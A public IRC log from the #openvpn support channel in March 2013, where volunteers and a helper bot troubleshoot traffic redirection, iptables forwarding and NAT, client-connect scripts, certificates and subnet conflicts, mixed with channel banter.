11:23 < MacGyver> Nevermind, Ill just attach gdb as root... That can still be done, right?
11:24 < MacGyver> At least it exxlains why the process isn't dumping.
11:27 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:29 -!- _quadDam1ge is now known as _quadDamage
11:30 -!- skn_ [~skn@a56212.upc-a.chello.nl] has joined #openvpn
11:32 < skn_> Hi all.. a noob here trying to install a server on Ubuntu and use the android client. the client connects but the android traffic doesn't seem to go through the vpn.. Anyting obvious I am doing wrong?
11:39 < pekster> Make sure you can ping from your client to the server (leting you know you have a VPN connection as well as IP connectivity) and then see:
11:39 < pekster> !redirect
11:39 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:39 <@vpnHelper> http://ircpimps.org/redirect.png
11:46 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has joined #openvpn
11:47 < Keshl> Just saying, it's working great now. I'm away from home, my IP's my home IP, and everything's happy. Just had to add "redirect-gateway def1" to the client-side config. Frowarding was fine.
11:54 -!- JessD [~jdyer@71-14-120-17.dhcp.gnvl.sc.charter.com] has joined #openvpn
11:54 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
11:54 -!- Ah2k_ [Ah2k@114.31.8.194] has quit [Quit: Leaving]
11:57 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has left #openvpn []
12:02 <@dazo> MacGyver: which version are you running?
12:02 <@dazo> MacGyver: if you kill any process with -QUIT or -SEGV ... it is supposed to create a core file
12:02 <@dazo> (unless ulimit is configured otherwise)
12:04 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
12:04 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has quit [Quit: Konversation terminated!]
12:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:26 -!- aoeui [~aoeui@gateway/tor-sasl/aoeui] has quit [Remote host closed the connection]
12:28 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 256 seconds]
12:28 -!- aoeui [~aoeui@gateway/tor-sasl/aoeui] has joined #openvpn
12:37 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
13:00 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
13:03 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
13:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:40 -!- surrealillusion [~surrealil@206.191.57.58] has joined #openvpn
13:40 < surrealillusion> afternoon all
13:41 < surrealillusion> i was wondering if I could get some suggestions as how to get the vpn_gateway directive to work on an openvpnas server?
13:41 < pekster> !as
13:41 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:41 < surrealillusion> ah thanks for the pointer, cheers
13:42 < pekster> Yup. We deal with the open-source GPL OpenVPN project specifically here.
13:42 < surrealillusion> :) I may be back to ask questions for my personal setup at some point
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
13:55 -!- mode/#openvpn [+o krzee] by ChanServ
13:58 <@krzee> I'm so lazy that i generated certs 6 hours ahead by accident, just gunna wait it out to connect, lol
14:02 < rob0> lazee
14:08 <@EugeneKay> Smooth
14:12 < MacGyver> dazo: Yes, it's supposed to - but when a process drops privileges (which I have openvpn do), it doesn't matter which ulimits are set - something else (i.e. the flag which can be set by prctl's PR_SET_DUMPABLE is cleared.
14:13 < MacGyver> I can *probably* try to force it to dump anyway by setting /proc/sys/fs/suid_dumpable to 1 or 2.
14:13 < MacGyver> Preferably 2.
14:14 < MacGyver> EugeneKay: Thanks for reminding me of that.
14:14 < MacGyver> That is, the fact that dumping privs are dropped when dropping user / group.
14:15 <@EugeneKay> !EugeneKay
14:15 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
14:16 <@krzee> :D
14:17 < hazardous> !krzee
14:18 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
14:18 < hazardous> weeeeeed
14:18 <@EugeneKay> Not the moonajuana
14:18 <@krzee> moonbong in hand right now actually
14:18 <@EugeneKay> It is massive
14:18 <@EugeneKay> And fueled by tires
14:18 <@EugeneKay> From the moon
14:19 <@krzee> moontires
14:19 < rob0> tired of the moon
14:24 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
14:24 < vaillor> hi guys
14:25 < vaillor> what difference is there between client and tsl-client ?
14:26 <@krzee> !man
14:26 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
14:26 <@krzee> you have 2 entries to read
14:27 < vaillor> --tls-client
14:27 < vaillor>               Enable TLS and assume client role during TLS handshake.
14:28 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
14:28 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
14:28 < vaillor> but i don't know what is tls :)
14:29 <@krzee> did you read --client ?
14:30 < vaillor> no
14:31 < vaillor> client = tls-client
14:31 < rob0> also scroll up a bit from --tls-client and see "TLS Mode Options:"
14:31 < vaillor> right?
14:31 < vaillor> --client              A helper directive designed to  simplify  the  configuration  of OpenVPN's client mode.  This directive is equivalent to:
14:31 < vaillor> pull
14:31 < vaillor> tls-client
14:32 < rob0> and --tls-server explains a bit more about --tls-client
14:33 -!- bjh4 [~bjh4@12.239.198.1] has quit [Remote host closed the connection]
14:38 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has joined #openvpn
14:41 -!- djshotglass [~Guest7552@zz209205100107.cipherkey.net] has joined #openvpn
14:42 < djshotglass> is there an easy way for a client to have a cert generated automatticly if they have never connected before?
14:43 < djshotglass> im only using the vpn for a call home type deal in my software
14:43 < djshotglass> so they can access their webui from anywhere
14:44 < djshotglass> iv been using a shared cert but all of their ips change so often
14:44 < djshotglass> even though they are not rebooted or anything
14:45 < djshotglass> and for some insane reason there is always more than 1 on same ip
14:45 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
14:46 < pekster> djshotglass: The certificate comes from your CA. The client keypair (the public+private RSA key) can be generated on the client, but you still need to send the cert request to the CA for signing before it will be allowed to connect to a multi-server instance
14:50 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
14:52 < MacGyver> Of course, finally got coredumping set up, now I'm unable to reproduce the bug.
14:53 < MacGyver> *sigh*
14:54 < MacGyver> Ah well, gotta remember to set suid_dumpable over reboots.
14:55 < djshotglass> !static
14:55 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
14:55 < djshotglass> !ccd
14:55 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
14:55 < djshotglass> !iporder
14:55 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
14:56 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
14:56 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
14:57 < djshotglass> example of client-connect?
14:59 < pekster> !client-connect
14:59 <@vpnHelper> "client-connect" is --client-connect <script>, runs script on client connection. This can be useful for generating firewall rules dynamicly, or for assigning static ips. This can do anything that a ccd (see !ccd) entry can do, but dynamicly... to use it that way, you should write your dynamic ccd commands to the file named by $1.
15:00 < djshotglass> no example there
15:00 < djshotglass> how do i pass data back to openvpn
15:00 < djshotglass> echo it?
15:01 < pekster> See the manpage; you get a temp file passed as $1
15:01 < pekster> Oh, which is in the output too
15:01 < djshotglass> :) ty
15:02 < pekster> The manpage can be a bit overwhelming, but if you know the directive you want to learn about, search for --name-of-directive (with the leading dashes) to find it quicker
15:08 <@EugeneKay> --bacon
15:08 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
15:08 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
15:09 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:10 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
15:10 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
15:12 -!- MeanderingCode [~Meanderin@71-213-183-157.albq.qwest.net] has quit [Read error: Operation timed out]
15:13 -!- MeanderingCode [~Meanderin@199.254.238.145] has joined #openvpn
15:13 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
15:15 < djshotglass> so i added client-connect /etc/openvpn/connect.php
15:15 < djshotglass> it works when i ./connect.php
15:15 < djshotglass> but openvpn doesnt call it when someone connects.
15:16 <@EugeneKay> Dare I ask why you're using PHP for a VPN
15:17 <@EugeneKay> I know that it's a valid scripting language, and you can use it, but..... why?
15:17 <@EugeneKay> That said, I suspect something is wrong with your shebang
15:18 <@krzee> or maybe not +x
15:19 -!- dazo is now known as dazo_afk
15:19 <@EugeneKay> ./ wouldn't work
15:19 <@krzee> tru
15:20 <@EugeneKay> Unless he's lying and invoking as php ./
15:20 <@krzee> could also be permissions if he's dropping from root
15:20 <@krzee> like if its root 500
15:20 < djshotglass> #!/usr/bin/php
15:20 < djshotglass> <?php
15:20 < djshotglass> works fine
15:21 <@krzee> also, make sure it exits success
15:21 < djshotglass> return 0?
15:21 <@krzee> if you want successful login
15:22 < pekster> OpenVPN at --verb 4 will show you the call to external scripts and details about exit code when a connect was rejected. You get most of that at verb 3 too, but IIRC verb 4 adds a bit more output
15:24 < djshotglass>  WARNING: External program may not be called unless '--script-security 2' or higher is enabled.  Use '--script-security 3 system' for backward compatibility with 2.
15:24 < djshotglass> wut
15:25 <@krzee> ahh are you not using that?
15:25 <@krzee> that'll do it
15:27 < djshotglass> yay it works
15:27 < djshotglass> cheers
15:33 <@krzee> and i understand why you're using php
15:33 <@krzee> same reason i use bash for web cgi stuff, lol
15:34 <@krzee> hey, they work!
15:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
15:38 <@EugeneKay> Log files: they matter
15:41 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
15:45 -!- tcamuso [tcamuso@nat/redhat/x-ejfvuhdkalcluvue] has quit [Ping timeout: 252 seconds]
15:48 < djshotglass> haserl?
16:01 < skn_> Hi all, trying to get the server running. I can ping to the server IP address, but not to 8.8.8.8. I have already setup ip forwarding and have set this in iptables "iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE"
16:03 < pekster> skn_: The firewall still needs to allow the forwarded traffic and the reply
16:03 < pekster> Plus the redirect features need to be present in your config, although since you can't ping it sounds like it's active but a firewall is preventing your traffic
16:07 < rob0> !redirect
16:07 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:07 <@vpnHelper> http://ircpimps.org/redirect.png
16:07 < rob0> see ^^ the flowchart
16:08 < skn_> rob0: seen that and am right now staring at "firewall issue" block..
16:09 < rob0> iptables-save -c to a pastebin
16:09 < rob0> !iptables
16:09 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just the
16:09 <@vpnHelper> basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
16:11 < skn_> rob0: http://pastebin.com/NsyQ1h5a
16:12 < rob0> you missed the part in the flowchart about enabling IP forwarding
16:13 < rob0> !linipforward
16:13 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
16:13 < skn_> > more /proc/sys/net/ipv4/ip_forward
16:13 < skn_> 1
16:13 < rob0> Not a single packet has hit your FORWARD chain.
16:14 < djshotglass> when sharing a cert there is no other way to identify clients uniqly other than ip?
16:15 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
16:15 < rob0> why do you have three identical MASQUERADE rules?
16:16 < pekster> djshotglass: Nope. Well, source IP+port. That doesn't even really uniquely "verify" the client, just tells you the connection source. Note that with --float that could change throughout the lifetime of a single client connection
16:17 < pekster> djshotglass: You could use user/pass auth as well, and if you'd like set the username as the common-name. See --auth-user-pass-verify
16:17 -!- master_of_master [~master_of@p4FF24CDC.dip.t-dialin.net] has joined #openvpn
16:19 < skn_> rob0: my bad bat that. .. entered it multiple times. How do I start from fresh slate?
16:19 < skn_> iptables --flush doesn't seem to do it
16:19 -!- JessD [~jdyer@71-14-120-17.dhcp.gnvl.sc.charter.com] has quit [Ping timeout: 272 seconds]
16:21 < rob0> see "-t / --table" in the iptables(8) man page
16:21 -!- master_o1_master [~master_of@p4FF24A89.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
16:22 < rob0> Anyway, we're stuck there. Your system might be configured to do IP forwarding, but it's not forwarding any packets.
16:23 < skn_> rob0: hmm.. thanks anyway
16:23 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
16:23 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has joined #openvpn
16:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
16:30 -!- MeanderingCode [~Meanderin@199.254.238.145] has quit [Ping timeout: 252 seconds]
16:33 -!- skn__ [~skn@a56212.upc-a.chello.nl] has joined #openvpn
16:34 -!- skn_ [~skn@a56212.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
16:37 -!- skn_ [~skn@a56212.upc-a.chello.nl] has joined #openvpn
16:38 -!- skn__ [~skn@a56212.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
16:40 -!- MeanderingCode [~Meanderin@71-213-183-157.albq.qwest.net] has joined #openvpn
16:42 -!- skn_ [~skn@a56212.upc-a.chello.nl] has quit [Ping timeout: 246 seconds]
16:53 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
17:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:19 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:19 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
17:35 -!- Varazir [~mircwars@c-94-255-130-176.cust.bredband2.com] has quit [Read error: Operation timed out]
17:35 -!- joshie [~josh@joshie.net] has quit [Read error: Connection reset by peer]
17:35 -!- joshie [~josh@joshie.net] has joined #openvpn
17:36 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has left #openvpn []
17:37 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has joined #openvpn
17:38 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has left #openvpn []
18:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
18:01 -!- mode/#openvpn [+o krzee] by ChanServ
18:08 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:17 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:24 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
18:27 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
18:45 -!- djshotglass [~Guest7552@zz209205100107.cipherkey.net] has quit []
18:46 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:49 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
18:56 -!- kyrix [~ashley@chello084112025181.33.11.vie.surfer.at] has joined #openvpn
18:57 -!- 18VAAWJLJ [~cronix@HSI-KBW-046-005-192-177.hsi8.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
19:01 -!- raidz is now known as raidz_away
19:02 -!- ZarrshChromium [~ZarrshChr@cpe-24-95-76-206.columbus.res.rr.com] has joined #openvpn
19:07 -!- ZarrshChromium [~ZarrshChr@cpe-24-95-76-206.columbus.res.rr.com] has left #openvpn []
19:12 -!- cronix [~cronix@HSI-KBW-046-005-192-177.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
19:17 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has quit [Ping timeout: 272 seconds]
19:22 -!- kfreds [~kfreds@slask.mullvad.net] has joined #openvpn
19:39 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
19:47 -!- kyrix [~ashley@chello084112025181.33.11.vie.surfer.at] has quit [Ping timeout: 256 seconds]
19:57 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
20:37 -!- Rough_ [eMc2@114.31.8.194] has quit [Ping timeout: 264 seconds]
20:38 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
20:40 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:43 -!- KingMaster [~Pooties@h9n2fls32o256.telia.com] has joined #openvpn
20:45 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit []
20:46 < KingMaster> Whats the best client to use for OpenVPN nowdays ?
20:48 < rob0> openvpn is both client and server
20:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:50 < KingMaster> Rob0 learn - client / server
20:50 < KingMaster> rob0 got it ?
20:50 < rob0> no
20:50 < KingMaster> rob0 learn - client / server
20:51 < rob0> stop repeating yourself
20:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Client Quit]
20:54 < KingMaster> RoboSnåpp :)
20:57 < KingMaster> So mr robocop. How are things with you today ?
21:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:02 < KingMaster> Hola mitz!
21:52 -!- Pei [~pei@thinks.outside.theb0x.org] has left #openvpn []
21:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:55 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
21:55 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
22:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
22:20 -!- JackWinter1 [~jack@ppp-256.vo.lu] has quit [Ping timeout: 256 seconds]
22:58 -!- zarrsh_ [~zarrsh@cpe-24-95-76-206.columbus.res.rr.com] has joined #openvpn
23:00 < KingMaster> http://www.youtube.com/watch?v=lsmXLGKdkW4
23:00 <@vpnHelper> Title: AC/DC- Thunderstruck- Official Music Video! - YouTube (at www.youtube.com)
23:00 < KingMaster> Excellimant! :)
23:01 -!- Varazir [~mircwars@c-94-255-133-56.cust.bredband2.com] has joined #openvpn
23:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:43 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Read error: Connection reset by peer]
23:45 < KingMaster> http://www.youtube.com/watch?v=hmltxfJk-oA&feature=endscreen&NR=1
23:45 <@vpnHelper> Title: Judas Priest - Screaming for Vengeance - Full Album (HD) Studio Quality - YouTube (at www.youtube.com)
--- Day changed Wed Mar 27 2013
00:04 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
00:06 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
00:28 -!- KingMaster [~Pooties@h9n2fls32o256.telia.com] has quit [Quit: Lämnar]
00:40 -!- dioz_ [~dioz@2001:470:d:e3::1] has joined #openvpn
00:41 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
00:44 -!- Rough_ [eMc2@114.31.8.194] has quit [Read error: Connection reset by peer]
00:45 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
01:25 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 248 seconds]
01:29 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
01:35 -!- ade_b [~Ade@koln-5d81b5e6.pool.mediaWays.net] has joined #openvpn
01:35 -!- ade_b [~Ade@koln-5d81b5e6.pool.mediaWays.net] has quit [Changing host]
01:35 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
01:49 -!- mattock_afk is now known as mattock
01:59 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 252 seconds]
02:10 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
02:18 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 248 seconds]
02:19 -!- brute11k [~brute@89.249.230.134] has joined #openvpn
02:30 -!- brute11k [~brute@89.249.230.134] has quit [Ping timeout: 245 seconds]
02:43 -!- Sickness\ [~stront@94.23.10.100] has quit [Changing host]
02:43 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
03:42 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
03:42 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
03:46 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
03:46 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
04:09 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
04:12 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
04:13 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
04:16 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Read error: Connection reset by peer]
04:17 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
04:18 -!- caraconan [~usuario@178.139.111.41] has joined #openvpn
04:19 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
04:20 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
04:21 < caraconan> Hi all. If I want to push a DNS server to the clients, should I use a different network and then set up a VPN client on each machine? More context: http://paste.debian.net/245062/
04:22 < caraconan> I can't just use the same 10.0.0.0/24 network, since it will produce a conflict. What's the best approach?
04:22 < caraconan> I want a client to connect to the VPN, then receive DNS server via push and finally to be able to resolve names such as "www-1.myprivatenetwork.org"
04:23 <@EugeneKay> It's perfectly acceptable to put RFC1918 addresses in public DNS
04:23 <@EugeneKay> And makes these sorts of problem go completely away
04:23 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Ping timeout: 612 seconds]
04:23 <@EugeneKay> I don't get what you mean by conflicting networks
04:25 < caraconan> I mean, suppose that my private network is 10.0.0.0/24, and I have there a bunch of VM's
04:26 < caraconan> Which IP range should be set up on the VPN server?
04:26 <@EugeneKay> Whatever IP range you like.
04:26 <@EugeneKay> !1918
04:26 < caraconan> But If I put, let's say, server 10.0.0.0 255.255.255.0
04:26 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
04:27 < caraconan> I get Wed Mar 27 10:27:00 2013 WARNING: potential TUN/TAP adapter subnet conflict between local LAN [10.0.0.0/255.255.255.0] and remote VPN [10.0.0.1/255.255.255.255]
04:27 <@EugeneKay> Yes. That's how networking works. Pick a different one.
04:27 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
04:27 < caraconan> Ok, in this case should I set up a VPN client on each VM?
04:28 <@EugeneKay> There's really no need. Route it properly.
04:29 < caraconan> Ok, I will try it, thanks
04:30 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
04:32 -!- JackWinter1 [~jack@ppp-256.vo.lu] has quit [Ping timeout: 240 seconds]
04:37 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
04:42 -!- aoeui [~aoeui@gateway/tor-sasl/aoeui] has quit [Quit: aoeui]
04:42 -!- caraconan [~usuario@178.139.111.41] has quit [Quit: Leaving]
04:47 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
05:26 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
05:26 -!- p3rror [~p3rror@ds-59836.dedicados.laniway.com.br] has joined #openvpn
05:32 -!- Gruu_ [~Gruu@213.211.132.86.static.edpnet.net] has joined #openvpn
05:43 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
05:43 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit []
05:54 -!- spacedus1 [~info@dev.gentooexperimental.org] has quit [Changing host]
05:54 -!- spacedus1 [~info@unaffiliated/cosmicblue] has joined #openvpn
05:54 -!- spacedus1 is now known as spacedust
06:01 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
06:01 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
06:03 -!- master_o1_master [~master_of@p4FF24F6A.dip.t-dialin.net] has joined #openvpn
06:06 -!- master_of_master [~master_of@p4FF24CDC.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
06:07 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:07 < BadCodSmell> Is there any special reason why open vpn can't listen on both udp and tcp?
06:07 -!- brute11k [~brute@89.249.231.153] has joined #openvpn
06:10 <@EugeneKay> Nobody's written it.
06:10 -!- Gruu_ [~Gruu@213.211.132.86.static.edpnet.net] has quit [Quit: Gruu_]
06:10 < BadCodSmell> I'm considering it.
06:11 < BadCodSmell> I will have to see the code.
06:11 < BadCodSmell> IE blocking, threaded, socket select, epoll, etc.
06:12 -!- brute11k [~brute@89.249.231.153] has quit [Ping timeout: 264 seconds]
06:13 < BadCodSmell> Is there a good reason nobody wrote it?
06:14 <@EugeneKay> I'd ask #openvpn-devel
06:16 -!- brute11k [~brute@89.249.231.153] has joined #openvpn
06:18 < BadCodSmell> It works with inetd?
06:19 < rob0> AFAIK openvpn can't run under inetd, no.
06:20 < BadCodSmell> There's code for it, and to run as a socks 5 proxy
06:21 < BadCodSmell> or http proxy mode
06:21 < rob0> The process is what creates the tun interface. What would become of the interface while dormant under inetd? I don't see how it could work. But have fun.
06:21 < BadCodSmell> ...  /* were we started by inetd or xinetd? */
06:23 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit []
06:23 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:24 -!- pyrobisqit2 [~yaaic@162.red-80-29-24.adsl.static.ccgg.telefonica.net] has joined #openvpn
06:24 -!- pyrobisqit2 [~yaaic@162.red-80-29-24.adsl.static.ccgg.telefonica.net] has quit [Client Quit]
06:24 < BadCodSmell> Does this mean I can conceivably use inetd?
06:24 < BadCodSmell> for both udp and tcp
06:25 < BadCodSmell> since it sends to std
06:25 < rob0> I've never tried it. I don't know of anyone who has. I wouldn't be confident it would work.
06:25 <@EugeneKay> I suspect it's boilerplate netcode copy-pastaed from some other project
06:28 < BadCodSmell> It looks pretty old and not problem free/well documented, its there since version 1
